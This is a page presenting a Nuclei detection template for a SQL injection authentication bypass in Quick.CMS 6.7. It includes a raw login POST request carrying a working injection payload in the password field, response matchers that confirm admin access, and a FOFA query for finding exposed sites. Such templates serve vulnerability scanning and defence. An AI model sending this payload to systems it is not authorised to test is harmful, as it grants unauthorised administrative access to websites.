Quick.CMS v6.7 - SQL Injection

ID: quick-cms-sqli

Severity: high

Author: s4e-io

Tags: packetstorm,quickcms,sqli,cms

Description

Quick.CMS version 6.7 suffers from a remote SQL injection vulnerability that allows for authentication bypass.

YAML Source

id: quick-cms-sqli

info:
  name: Quick.CMS v6.7 - SQL Injection
  author: s4e-io
  severity: high
  description: |
    Quick.CMS version 6.7 suffers from a remote SQL injection vulnerability that allows for authentication bypass.
  reference:
    - https://packetstormsecurity.com/files/177657/Quick.CMS-6.7-SQL-Injection.html
    - https://www.exploit-db.com/exploits/51910
  classification:
    cpe: cpe:2.3:a:opensolution:quick.cms:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: opensolution
    product: quick.cms
    fofa-query: body="Quick.Cms v6.7"
  tags: packetstorm,quickcms,sqli,cms

http:
  - raw:
      - |
        POST /admin.php?p=login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        sEmail=test%40test.net&sPass=%27+or+1%5D%2500&bAcceptLicense=1&iAcceptLicense=true

    host-redirects: true
    max-redirects: 2

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "Log out</a>"
          - "Settings</a>"
          - "Plugins</a>"
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a004730450221009e4d855b17164eacb30755cdc2819d9316861d65faf83432a332d4960ac462ec0220617aa6b8ff2573c6cd5d6afe77d513f262b14be0681162ed59a45271c78855f0:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/vulnerabilities/other/quick-cms-sqli.yaml"

View on Github